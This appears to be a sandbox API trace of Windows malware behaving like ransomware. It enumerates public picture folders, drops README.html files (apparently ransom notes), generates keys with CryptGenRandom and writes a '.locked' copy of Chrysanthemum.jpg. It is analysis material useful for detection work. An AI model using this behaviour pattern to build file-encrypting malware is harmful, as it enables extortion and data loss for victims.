	[0083.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\sample music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a)) returned 1
	[0083.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1
	[0083.918] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0083.918] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.918] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eba58
	[0083.918] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.918] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0083.918] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1
	[0083.918] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0083.918] FindClose (in: hFindFile=0x7eba58 | out: hFindFile=0x7eba58) returned 1
	[0083.919] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\README.html" (normalized: "c:\\users\\public\\pictures\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.919] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0083.919] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0083.921] CloseHandle (hObject=0xc0) returned 1
	[0083.921] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390150*, nNumberOfCharsToWrite=0x33, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12390150*, lpNumberOfCharsWritten=0x127ee914*=0x33) returned 1
	[0083.922] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures" (normalized: "c:\\users\\public\\pictures\\sample pictures"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0083.922] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures" (normalized: "c:\\users\\public\\pictures\\sample pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0083.922] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eba58
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xce875, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desert.jpg", cAlternateFileName="")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x91554, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hydrangeas.jpg", cAlternateFileName="HYDRAN~1.JPG")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Koala.jpg", cAlternateFileName="")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8907c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lighthouse.jpg", cAlternateFileName="LIGHTH~1.JPG")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbde6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Penguins.jpg", cAlternateFileName="")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x97958, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulips.jpg", cAlternateFileName="")) returned 1
	[0083.924] FindNextFileW (in: hFindFile=0x7eba58, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0083.924] FindClose (in: hFindFile=0x7eba58 | out: hFindFile=0x7eba58) returned 1
	[0083.925] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\README.html" (normalized: "c:\\users\\public\\pictures\\sample pictures\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.927] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0083.928] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0083.931] CloseHandle (hObject=0xc0) returned 1
	[0083.931] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e090*, nNumberOfCharsToWrite=0x43, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1263e090*, lpNumberOfCharsWritten=0x127ee8b0*=0x43) returned 1
	[0083.932] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22)) returned 1
	[0083.933] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0083.933] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0083.934] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg.locked" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0083.934] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0083.934] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x125d05e0 | out: pbBuffer=0x125d05e0) returned 1
	[0083.934] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x123d45f0 | out: pbBuffer=0x123d45f0) returned 1
	[0083.934] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416181 | out: pbBuffer=0x12416181) returned 1
	[0083.935] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0083.937] SetEvent (hEvent=0x6c) returned 1
	[0083.937] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0xd6b22, lpOverlapped=0x0) returned 1
	[0083.951] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.952] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.987] SetEvent (hEvent=0x6c) returned 1
	[0083.987] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.988] SetEvent (hEvent=0x6c) returned 1
	[0083.989] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0083.989] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.008] SetEvent (hEvent=0x6c) returned 1
	[0084.008] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.009] SetEvent (hEvent=0xb4) returned 1
	[0084.009] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.051] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.051] SetEvent (hEvent=0xb4) returned 1
	[0084.051] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.052] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.082] SetEvent (hEvent=0xb4) returned 1
	[0084.082] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.098] SetEvent (hEvent=0xb4) returned 1
	[0084.098] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.101] SetEvent (hEvent=0xb4) returned 1
	[0084.101] SwitchToThread () returned 1
	[0084.101] SetEvent (hEvent=0xb4) returned 1
	[0084.101] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.101] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.160] SetEvent (hEvent=0x78) returned 1
	[0084.160] SetEvent (hEvent=0x6c) returned 1
	[0084.161] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.161] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.173] SetEvent (hEvent=0xb4) returned 1
	[0084.173] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.189] SetEvent (hEvent=0xb4) returned 1
	[0084.189] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.191] SetEvent (hEvent=0xb4) returned 1
	[0084.191] SwitchToThread () returned 1
	[0084.191] SetEvent (hEvent=0xb4) returned 1
	[0084.191] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.191] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.431] SetEvent (hEvent=0x8c) returned 1
	[0084.431] SetEvent (hEvent=0x78) returned 1
	[0084.431] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.433] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.450] SetEvent (hEvent=0xb4) returned 1
	[0084.450] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.466] SetEvent (hEvent=0xb4) returned 1
	[0084.466] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.468] SetEvent (hEvent=0xb4) returned 1
	[0084.468] SwitchToThread () returned 1
	[0084.469] SetEvent (hEvent=0xb4) returned 1
	[0084.469] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.469] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.532] SetEvent (hEvent=0xb4) returned 1
	[0084.532] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.533] SetEvent (hEvent=0x8c) returned 1
	[0084.533] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.561] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.564] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.586] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.592] SetEvent (hEvent=0x8c) returned 1
	[0084.592] SetEvent (hEvent=0x6c) returned 1
	[0084.592] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0084.615] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.615] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0084.663] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.663] SetEvent (hEvent=0x8c) returned 1
	[0084.663] SetEvent (hEvent=0x6c) returned 1
	[0084.663] SetEvent (hEvent=0x78) returned 1
	[0084.663] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.663] SetEvent (hEvent=0xa8) returned 1
	[0084.663] SetEvent (hEvent=0x78) returned 1
	[0084.663] SetEvent (hEvent=0xb4) returned 1
	[0084.664] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.668] SetEvent (hEvent=0xb4) returned 1
	[0084.668] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.669] SetEvent (hEvent=0xb4) returned 1
	[0084.669] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.670] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.689] SetEvent (hEvent=0xb4) returned 1
	[0084.689] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.690] SetEvent (hEvent=0x78) returned 1
	[0084.690] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.752] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.777] SetEvent (hEvent=0xb4) returned 1
	[0084.777] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.783] SetEvent (hEvent=0xb4) returned 1
	[0084.783] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.783] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.786] SetEvent (hEvent=0xb4) returned 1
	[0084.786] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.787] SetEvent (hEvent=0x6c) returned 1
	[0084.787] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.814] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.818] SetEvent (hEvent=0x6c) returned 1
	[0084.818] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0084.818] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0085.138] SetEvent (hEvent=0x8c) returned 1
	[0085.138] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0085.139] SetEvent (hEvent=0x8c) returned 1
	[0085.139] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0086.264] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0086.284] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0086.310] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0086.574] SetEvent (hEvent=0xb4) returned 1
	[0086.574] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0086.574] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0087.629] SetEvent (hEvent=0xb4) returned 1
	[0087.629] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0087.630] SetEvent (hEvent=0x78) returned 1
	[0087.630] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0088.639] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0088.727] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0089.127] SetEvent (hEvent=0x8c) returned 1
	[0089.127] SetEvent (hEvent=0x78) returned 1
	[0089.127] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0089.129] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0089.129] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x102
	[0089.130] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0089.130] SetEvent (hEvent=0x8c) returned 1
	[0089.130] SetEvent (hEvent=0x78) returned 1
	[0089.130] SetEvent (hEvent=0x6c) returned 1
	[0089.130] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0089.132] SetEvent (hEvent=0xa8) returned 1
	[0089.132] SetEvent (hEvent=0x6c) returned 1
	[0089.132] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0090.485] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0090.488] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0091.538] SetEvent (hEvent=0x78) returned 1
	[0091.538] SetEvent (hEvent=0x6c) returned 1
	[0091.538] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0091.540] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0x1) returned 0x0
	[0091.541] SetEvent (hEvent=0x78) returned 1
	[0091.541] SetEvent (hEvent=0x6c) returned 1
	[0091.541] SetEvent (hEvent=0x8c) returned 1
	[0091.541] WaitForSingleObject (hHandle=0x80, dwMilliseconds=0xffffffff) returned 0x0
	[0091.541] SetEvent (hEvent=0x8c) returned 1
	[0091.541] SetEvent (hEvent=0xb4) returned 1
